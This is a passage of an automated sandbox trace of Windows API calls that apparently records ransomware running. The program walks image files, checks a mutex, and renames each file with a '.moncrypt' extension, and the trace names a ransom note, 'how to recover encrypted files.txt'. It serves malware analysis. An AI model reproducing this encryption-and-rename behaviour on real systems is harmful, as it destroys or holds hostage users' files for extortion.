lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png", lpUsedDefaultChar=0x0) returned 73 [0058.290] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Rectangles\\1047x576_91n92.png", lpUsedDefaultChar=0x0) returned 4 [0058.290] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 0x54e280 [0058.291] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.291] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.291] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.291] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png", dwFileAttributes=0x20) returned 0 [0058.292] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.292] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png.moncrypt")) returned 0 [0058.292] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0058.292] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.292] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.292] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.292] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.292] GlobalUnlock (hMem=0x440004) returned 0 [0058.292] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.292] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.292] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.292] GlobalUnlock (hMem=0x440004) returned 0 [0058.292] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.292] GlobalUnlock (hMem=0x44000c) returned 0 [0058.292] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.293] CharLowerBuffW (in: lpsz="15x15dot.png", cchLength=0xc | out: lpsz="15x15dot.png") returned 0xc [0058.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.293] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png", cchWideChar=67, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png", lpUsedDefaultChar=0x0) returned 67 [0058.293] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Rectangles\\15x15dot.png", lpUsedDefaultChar=0x0) returned 4 [0058.294] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 0x54e280 [0058.294] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.294] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.294] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.294] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png", dwFileAttributes=0x20) returned 0 [0058.294] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.294] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png.moncrypt")) returned 0 [0058.295] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0058.295] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.295] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.295] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.295] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.295] GlobalUnlock (hMem=0x44000c) returned 0 [0058.295] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.295] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.295] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.295] GlobalUnlock (hMem=0x44000c) returned 0 [0058.295] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.295] GlobalUnlock (hMem=0x440004) returned 0 [0058.295] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.295] CharLowerBuffW (in: lpsz="720x480icongraphic.png", cchLength=0x16 | out: lpsz="720x480icongraphic.png") returned 0x16 [0058.295] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.295] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.295] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.295] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.295] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.295] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.295] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.295] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.295] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.295] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png", lpUsedDefaultChar=0x0) returned 77 [0058.296] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Rectangles\\720x480icongraphic.png", lpUsedDefaultChar=0x0) returned 4 [0058.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.296] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.296] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.296] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.297] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png", dwFileAttributes=0x20) returned 0 [0058.297] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.297] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png.moncrypt")) returned 0 [0058.297] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.297] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.297] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.297] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.297] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.297] GlobalUnlock (hMem=0x440004) returned 0 [0058.297] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.298] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.298] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.298] GlobalUnlock (hMem=0x440004) returned 0 [0058.298] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.298] GlobalUnlock (hMem=0x44000c) returned 0 [0058.298] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.298] CharLowerBuffW (in: lpsz="NavigationLeft_ButtonGraphic.png", cchLength=0x20 | out: lpsz="navigationleft_buttongraphic.png") returned 0x20 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, 